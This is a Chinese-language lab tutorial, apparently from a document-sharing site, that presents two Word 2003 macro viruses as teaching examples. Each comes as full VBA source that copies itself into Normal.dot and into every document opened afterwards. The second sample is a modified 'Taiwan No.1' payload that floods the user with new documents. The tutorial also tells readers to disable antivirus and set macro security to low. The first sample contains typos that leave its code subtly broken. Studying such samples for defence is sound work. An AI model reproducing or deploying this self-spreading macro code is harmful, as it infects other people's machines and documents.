当前位置:文档之家› Word宏病毒

Word宏病毒

Word宏病毒1.实验目的(后果自负)Word宏是指能组织到一起为独立命令使用的一系列Word指令,它能使日常工作变得容易。

本实验演示了宏的编写,通过两个简单的宏病毒示例,说明宏的原理及其安全漏洞和缺陷,理解宏病毒的作用机制,从而加强对宏病毒的认识,提高防范意识。

2.实验所需条件和环境硬件设备:局域网,终端PC机。

系统软件:Windows系列操作系统支撑软件:Word 2003软件设置:关闭杀毒软;打开Word 2003,在工具→宏→安全性中,将安全级别设置为低,在可靠发行商选项卡中,选择信任任何所有安装的加载项和模板,选择信任visual basic项目的访问实验环境配置如下图所示:受感染终端受感染Word文档被感染终端宏病毒传播示意图3.实验内容和分析为了保证该实验不至于造成较大的破坏性,进行实验感染后,被感染终端不要打开过多的word文档,否则清除比较麻烦(对每个打开过的文档都要清除)。

3.1. 例1 自我复制,感染word公用模板和当前文档代码如下:'Micro-VirusSub Document_Open()On Error Resume NextApplication.DisplayStatusBar = FalseOptions.SaveNormalPrompt = FalseOurcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModuleIf ThisDocument = NormalTemplate ThenSet Host = ActiveDocument.VBProject.VBComponents(1).CodeModuleEnd IfWith HostIf .Lines(1.1) <> "'Micro-Virus" Then.DeleteLines 1, .CountOfLines.InsertLines 1, Ourcode.ReplaceLine 2, "Sub Document_Close()"If ThisDocument = nomaltemplate Then.ReplaceLine 2, "Sub Document_Open()"ActiveDocument.SaveAs ActiveDocument.FullNameEnd IfEnd IfEnd WithMsgBox "MicroVirus by Content Security Lab"End Sub打开一个word文档,然后按Alt+F11调用宏编写窗口(工具→宏→Visual Basic→宏编辑器),在左侧的project—>Microsoft Word对象→ThisDocument中输入以上代码,保存,此时当前word文档就含有宏病毒,只要下次打开这个word文档,就会执行以上代码,并将自身复制到Normal.dot(word文档的公共模板)和当前文档的ThisDocument中,同时改变函数名(模板中为Document_Close,当前文档为Document_Open),此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用,本例中只是简单的跳出一个提示框。

3.1.1.代码解释以上代码的基本执行流程如下:1)进行必要的自我保护Application.DisplayStatusBar = FalseOptions.SaveNormalPrompt = False高明的病毒编写者其自我保护将做得非常好,可以使word的一些工具栏失效,例如将工具菜单中的宏选项屏蔽,也可以修改注册表达到很好的隐藏效果。

本例中只是屏蔽状态栏,以免显示宏的运行状态,并且修改公用模板时自动保存,不给用户提示。

2)得到当前文档的代码对象和公用模板的代码对象Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModuleIf ThisDocument = NormalTemplate ThenSet Host = ActiveDocument.VBProject.VBComponents(1).CodeModuleEnd If3)检查模板是否已经感染病毒,如果没有,则复制宏病毒代码到模板,并且修改函数名。

With HostIf .Lines(1.1) <> "'Micro-Virus" Then.DeleteLines 1, .CountOfLines.InsertLines 1, Ourcode.ReplaceLine 2, "Sub Document_Close()"If ThisDocument = nomaltemplate Then.ReplaceLine 2, "Sub Document_Open()"ActiveDocument.SaveAs ActiveDocument.FullNameEnd IfEnd IfEnd With4)执行恶意代码MsgBox "MicroVirus by Content Security Lab"3.2. 例2 具有一定破坏性的宏我们可以对上例中的恶意代码稍加修改,使其具有一定的破坏性(这里以著名宏病毒“台湾一号”的恶意代码部分为基础,为使其在word2003版本中运行,且降低破坏性,对源代码作适当修改)。

完整代码如下:'moonlightDim nm(4)Sub Document_Open()'DisableInput 1Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModuleSet host = NormalTemplate.VBProject.VBComponents(1).CodeModuleIf ThisDocument = NormalTemplate ThenSet host = ActiveDocument.VBProject.VBComponents(1).CodeModuleEnd IfWith hostIf .Lines(1, 1) <> "'moonlight" Then.DeleteLines 1, .CountOfLines.InsertLines 1, ourcodemodule.Lines(1, 100).ReplaceLine 3, "Sub Document_Close()"If ThisDocument = NormalTemplate Then.ReplaceLine 3, "Sub Document_Open()"ActiveDocument.SaveAs ActiveDocument.FullNameEnd IfEnd IfEnd WithCount = 0If Day(Now()) = 1 Thentry:On Error GoTo trytest = -1con = 1tog$ = ""i = 0While test = -1For i = 0 To 4nm(i) = Int(Rnd() * 10)con = con * nm(i)If i = 4 Thentog$ = tog$ + Str$(nm(4)) + "=?"GoTo begEnd Iftog$ = tog$ + Str$(nm(i)) + "*"Next ibeg:Beepans$ = InputBox$("今天是" + Date$ + ",跟你玩一个心算游戏" + Chr$(13) + "若你答错,只好接受震撼教育......" + Chr$(13) + tog$, "台湾NO.1 Macro Virus")If RTrim$(LTrim$(ans$)) = LTrim$(Str$(con)) ThenDocuments.AddSelection.Paragraphs.Alignment = wdAlignParagraphCenterBeepWith Selection.Font.Name = "细明体".Size = 16.Bold = 1.Underline = 1End WithSelection.InsertAfter Text:="何谓宏病毒"Selection.InsertParagraphAfterBeepSelection.InsertAfter Text:="答案:"Selection.Font.Italic = 1Selection.InsertAfter Text:="我就是......"Selection.InsertParagraphAfterSelection.InsertParagraphAfterSelection.Font.Italic = 0BeepSelection.InsertAfter Text:="如何预防宏病毒"Selection.InsertParagraphAfterBeepSelection.InsertAfter Text:="答案:"Selection.Font.Italic = 1Selection.InsertAfter Text:="不要看我......"GoTo outElseCount = Count + 1For j = 1 To 20BeepDocuments.AddNext jSelection.Paragraphs.Alignment = wdAlignParagraphCenterSelection.InsertAfter Text:="宏病毒"If Count = 2 Then GoTo outGoTo tryEnd IfWendEnd Ifout:End Sub该病毒的效果如下:当打开被感染的word文档时,首先进行自我复制,感染word模板,然后检查日期,看是否是1日(即在每月的1日会发作),然后跳出一个对话框,要求用户进行一次心算游戏,这里只用四个小于10的数相乘,如果作者的计算正确,那么就会新建一个文档,跳出如下字幕:何谓宏病毒答案:我就是......如何预防宏病毒答案:不要看我......如果计算错误,新建20个写有“宏病毒”字样的word文档,然后再一次进行心算游戏,总共进行3次,然后跳出程序。

相关主题